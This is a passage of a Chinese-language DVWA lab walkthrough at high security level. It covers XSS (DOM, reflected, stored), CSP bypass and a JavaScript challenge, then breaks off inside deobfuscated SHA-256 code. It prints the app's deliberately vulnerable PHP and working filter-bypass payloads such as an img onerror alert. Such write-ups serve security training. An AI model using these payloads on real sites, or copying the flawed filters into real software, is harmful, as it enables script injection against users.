 <option value=''>English #<script>alert(/xss/)</script></option>

这样两个标签都闭合,我们来看看效果
xssdom.PNG
搞定!下一个!

XSS (Reflected)

你猜我看不看high.php

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
}
?>

居然直接正则把<script>过滤了,双写大小写绕过都不可以但是我们还可以插别的标签啊比如<img比如body

<img src=1.jpg>

我们可以看见,这个标签执行了
xssr.PNG

XSS (Stored)

不多说了,这句话说吐了

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        //mysql_close();
}
?>

和上面一样,正则过滤<script>,还是和上面一样,用img标签

<img src=1.jpg onerror=alert(/adian/)>

Burpsuite抓包改参数
xsss.PNG
弹出
xsss2.PNG

CSP Bypass

Content Security Policy(CSP),内容(网页)安全策略,为了缓解潜在的跨站脚本问题(XSS攻击),浏览器的扩展程序系统引入了内容安全策略(CSP)这个概念。具体内容可以参见《Content Security Policy 入门教程》,类似白名单的一种机制

<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
        " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
        <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
        <p>1+2+3+4+5=<span id="answer"></span></p>
        <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

high.js

function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
        if ("answer" in obj) {
                document.getElementById("answer").innerHTML = obj['answer'];
        }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
        solve_button.addEventListener("click", function() {
                clickButton();
        });
}

我看了很久,最后在网上找到了别人的思路,代码中有一段

if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}

来接收参数,然后再构造payload就可以了,参考DVWA 总结系列之 CSP 篇

JavaScript

high.php

<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>

把引用的high.js贴上来

var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E;P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E;P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G||0;1F=4z^b;2e=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));

这里有混淆,我们解开

(function() {
    'use strict';
    var ERROR = 'input is invalid type';
    var WINDOW = typeof window === 'object';
    var root = WINDOW ? window : {};
    if (root.JS_SHA256_NO_WINDOW) {
        WINDOW = false
    }
    var WEB_WORKER = !WINDOW && typeof self === 'object';
    var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
    if (NODE_JS) {
        root = global
    } else if (WEB_WORKER) {
        root = self
    }
    var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;
    var AMD = typeof define === 'function' && define.amd;
    var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
    var HEX_CHARS = '0123456789abcdef'.split('');
    var EXTRA = [-2147483648, 8388608, 32768, 128];
    var SHIFT = [24, 16, 8, 0];
    var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];
    var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];
    var blocks = [];
    if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {
        Array.isArray = function(obj) {
            return Object.prototype.toString.call(obj) === '[object Array]'
        }
    }
    if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
        ArrayBuffer.isView = function(obj) {
            return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer
        }
    }
    var createOutputMethod = function(outputType, is224) {
            return function(message) {
                return new Sha256(is224, true).update(message)[outputType]()
            }
        };
    var createMethod = function(is224) {
            var method = createOutputMethod('hex', is224);
            if (NODE_JS) {
                method = nodeWrap(method, is224)
            }
            method.create = function() {
                return new Sha256(is224)
            };
            method.update = function(message) {
                return method.create().update(message)
            };
            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                var type = OUTPUT_TYPES;
                method[type] = createOutputMethod(type, is224)
            }
            return method
        };
    var nodeWrap = function(method, is224) {
            var crypto = eval("require('crypto')");
            var Buffer = eval("require('buffer').Buffer");
            var algorithm = is224 ? 'sha224' : 'sha256';
            var nodeMethod = function(message) {
                    if (typeof message === 'string') {
                        return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')
                    } else {
                        if (message === null || message === undefined) {
                            throw new Error(ERROR)
                        } else if (message.constructor === ArrayBuffer) {
                            message = new Uint8Array(message)
                        }
                    }
                    if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {
                        return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')
                    } else {
                        return method(message)
                    }
                };
            return nodeMethod
        };
    var createHmacOutputMethod = function(outputType, is224) {
            return function(key, message) {
                return new HmacSha256(key, is224, true).update(message)[outputType]()
            }
        };
    var createHmacMethod = function(is224) {
            var method = createHmacOutputMethod('hex', is224);
            method.create = function(key) {
                return new HmacSha256(key, is224)
            };
            method.update = function(key, message) {
                return method.create(key).update(message)
            };
            for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
                var type = OUTPUT_TYPES;
                method[type] = createHmacOutputMethod(type, is224)
            }
            return method
        };

    function Sha256(is224, sharedMemory) {
        if (sharedMemory) {
            blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;
            this.blocks = blocks
        } else {
            this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
        }
        if (is224) {
            this.h0 = 0xc1059ed8;
            this.h1 = 0x367cd507;
            this.h2 = 0x3070dd17;
            this.h3 = 0xf70e5939;
            this.h4 = 0xffc00b31;
            this.h5 = 0x68581511;
            this.h6 = 0x64f98fa7;
            this.h7 = 0xbefa4fa4
        } else {
            this.h0 = 0x6a09e667;
            this.h1 = 0xbb67ae85;
            this.h2 = 0x3c6ef372;
            this.h3 = 0xa54ff53a;
            this.h4 = 0x510e527f;
            this.h5 = 0x9b05688c;
            this.h6 = 0x1f83d9ab;
            this.h7 = 0x5be0cd19
        }
        this.block = this.start = this.bytes = this.hBytes = 0;
        this.finalized = this.hashed = false;
        this.first = true;
        this.is224 = is224
    }
    Sha256.prototype.update = function(message) {
        if (this.finalized) {
            return
        }
        var notString, type = typeof message;
        if (type !== 'string') {
            if (type === 'object') {
                if (message === null) {
                    throw new Error(ERROR)
                } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {
                    message = new Uint8Array(message)
                } else if (!Array.isArray(message)) {
                    if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
                        throw new Error(ERROR)
                    }
                }
            } else {
                throw new Error(ERROR)
            }
            notString = true
        }
        var code, index = 0,
            i, length = message.length,
            blocks = this.blocks;
        while (index < length) {
            if (this.hashed) {
                this.hashed = false;
                blocks[0] = this.block;
                blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
            }
            if (notString) {
                for (i = this.start; index < length && i < 64; ++index) {
                    blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]
                }
            } else {
                for (i = this.start; index < length && i < 64; ++index) {
                    code = message.charCodeAt(index);
                    if (code < 0x80) {
                        blocks[i >> 2] |= code << SHIFT[i++ & 3]
                    } else if (code < 0x800) {
                        blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    } else if (code < 0xd800 || code >= 0xe000) {
                        blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    } else {
                        code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
                        blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
                        blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
                    }
                }
            }
            this.lastByteIndex = i;
            this.bytes += i - this.start;
            if (i >= 64) {
                this.block = blocks[16];
                this.start = i - 64;
                this.hash();
                this.hashed = true
            } else {
                this.start = i
            }
        }
        if (this.bytes > 4294967295) {
            this.hBytes += this.bytes / 4294967296 << 0;
            this.bytes = this.bytes % 4294967296
        }
        return this
    };
    Sha256.prototype.finalize = function() {
        if (this.finalized) {
            return
        }
        this.finalized = true;
        var blocks = this.blocks,
            i = this.lastByteIndex;
        blocks[16] = this.block;
        blocks[i >> 2] |= EXTRA[i & 3];
        this.block = blocks[16];
        if (i >= 56) {
            if (!this.hashed) {
                this.hash()
            }
            blocks[0] = this.block;
            blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
        }
        blocks[14] = this.hBytes << 3 | this.bytes >>> 29;
        blocks[15] = this.bytes << 3;
        this.hash()
    };
    Sha256.prototype.hash = function() {
        var a = this.h0,
            b = this.h1,
            c = this.h2,
            d = this.h3,
            e = this.h4,
            f = this.h5,
            g = this.h6,
            h = this.h7,
            blocks = this.blocks,
            j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;
        for (j = 16; j < 64; ++j) {
            t1 = blocks[j - 15];
            s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);
            t1 = blocks[j - 2];
            s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);
